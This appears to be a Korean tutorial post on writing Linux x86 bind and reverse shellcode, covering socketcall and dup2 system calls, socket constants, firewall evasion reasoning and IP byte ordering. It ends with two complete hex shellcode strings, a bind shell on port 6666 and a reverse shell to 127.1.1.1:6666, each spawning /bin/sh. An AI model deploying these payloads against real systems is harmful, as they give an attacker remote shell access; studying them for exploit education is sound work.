[C language]
- 프로그램을 실행시키면 6666 port가 열려있는 것을 알 수 있다.
[C language]
int dup2 (int oldfd , int newfd );
- dup2 함수는 파일 디스크립터를 복제한다.
- 프로그램을 백그라운드로 실행 시키고, nc를 통해 6666 Port로 접속하게되면 /bin/sh이 실행됨을 알 수 있다.
Create Bind shellcode
- Assembly code를 작성하기 위해 Assembly code에서 네트워크 관련함수를 호출하는 방법을 알아야 한다.
네트워크 관련 함수를 호출하기 위해 "__NR_socketcall" System call을 사용한다.
1.1 Check system call number : socketcall
- socketcall 시스템 함수는 다음과 같은 형태를 가진다.
첫번째 인자에는 호출할 네트워크 함수의 콜 번호를 전달
두번째 인자에는 호출한 네크워크 함수의 인자 값들이 저장된 인자 배열의 주소 값을 전달
int socketcall(int call, unsigned long *args);
- socketcall 시스템 함수의 첫 번째 인자 값 (/usr/include/linux/net.h)
- Socket 상수들의 값 (/usr/include/linux/in.h , /usr/include/bits/socket_type.h , /usr/include/bits/socket.h)
Constants | Description | Value of constants |
PF_LOCAL, AF_UNIX | 같은 시스템 내에서 프로세스 끼리 통신 | 1 |
PF_INET, AF_INET | IPv4 인터넷 프로토콜 사용 | 2 |
PF_INET6 | IPv6 인터넷 프로토콜 사용 | 10 |
SOCK_STREAM | TCP/IP 프로토콜 사용 | 1 |
SOCK_DGRAM | UDP 프로토콜 사용 | 2 |
IPPROTO_IP | TCP용 더미 프로토콜 | 0 |
1.2 Check system call number : dup2
2. Assembly code
3. Build & Run
- Bind Shellcode는 공격 대상에 Server 형태로 Port를 오픈해 클라이언트가 접속하는 방식이다.
해당 방식은 방화벽이 적용된 시스템이 경우 쉽게 차단될 수 있다.
일반적으로 방화벽은 알려진 특정 포트를 제외하고는 들어오는 연결을 차단한다.
소프트웨어 방화벽을 이용해 간단히 설정 가능하다.
즉, Bind Shellcode는 방화벽에 의해 차단될 가능성이 크다.
- 하지만 방화벽은 외부로 나가는 통신에 대해서는 자유로운 편이다.
즉, 공격 대상이 나의 PC에 접속하도록 할 수 있다.
Reverse Shellcode는 Port를 열어서 연결을 기다리는 대신, 공격자가 지정한 IP,Port로 연결한다.
[C language]
int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
- connect() 함수는 생성한 소켓을 통해 서버로 접속을 요청한다.
- 공격자(왼쪽)가 6666 port를 열고 타겟(오른쪽)이 Reverse Shell을 실행시키길 기다리고 있다.
- 타겟이 Reverse Shell을 실행시키자 공격자가 Shell을 얻었다.
Create Reverse shellcode
- 여기서 알아야 할 부분은 "server_addr.sin_addr.s_add"에 저장되는 값의 형태이다.
IP Address | 127.1.1.1 |
Hex | 7f.01.01.01 |
Little-endian format | 0x0101017f |
1. Check system call number : connect
2. Assembly code
3. Build & Run
Port : 6666, length : 92
\x6a\x66\x58\x99\x6a\x01\x5b\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80
\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x1a\x0a\x66\x53\x89\xe1\x6a
\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x53\x56\x89\xe1
\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02
\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x52\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80
IP : 127.1.1.1, Port : 6666, length : 75
\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92
\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x1a\x0a\x43\x66\x53\x89\xe1
\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xd3\x6a\x02\x59\xb0\x3f
\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80
REF: https://www.lazenca.net/display/TEC/03.Bind+Shellcode
https://www.lazenca.net/display/TEC/04.Reverse+Shellcode
04.Pwntools Shellcode(Shellcraft) (0) | 2020.05.04 |
---|---|
02.Basic & Change permissions Shellcode (0) | 2020.05.04 |
01.The basics technique of Shellcode (0) | 2020.05.04 |
댓글 영역